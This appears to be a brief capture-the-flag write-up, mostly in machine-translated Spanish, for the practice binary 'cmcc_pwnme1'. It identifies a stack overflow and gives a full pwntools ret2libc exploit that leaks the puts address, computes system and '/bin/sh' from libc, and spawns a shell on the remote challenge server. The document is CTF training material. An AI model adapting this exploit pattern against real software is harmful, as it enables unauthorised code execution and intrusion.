cmcc_pwnme1
paso
- Inspección de rutina, programa de 32 bits, inútil para activar cualquier protección
- Pruébelo localmente para ver la situación general.
- Se carga ida de 32 bits y la función para leer la bandera se encuentra al recuperar la cadena.
La ubicación de esta bandera no está clara, ¿verdad? De acuerdo con el hábito de buu, debería estar mal
main ()
getfruit (), hay un desbordamiento de pila aquí
- Primero intente la función que lee la bandera, como pensé, el directorio de banderas en buu no está allí
- Como vi que era inútil activar nx, quise usar shellcode al principio, pero como no pude obtener la posición del parámetro v1 en la pila, cambié a ret2libc.
Exp completa
from pwn import *
from LibcSearcher import *
#r=process('./pwnme1')
r=remote('node3.buuoj.cn',25064)
elf=ELF('./pwnme1')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']
#泄露libc
r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
r.sendline(payload)
#计算system和bin/sh地址
puts_addr=u32(r.recvuntil('\xf7')[-4:])
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')
r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(sys_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)
r.interactive()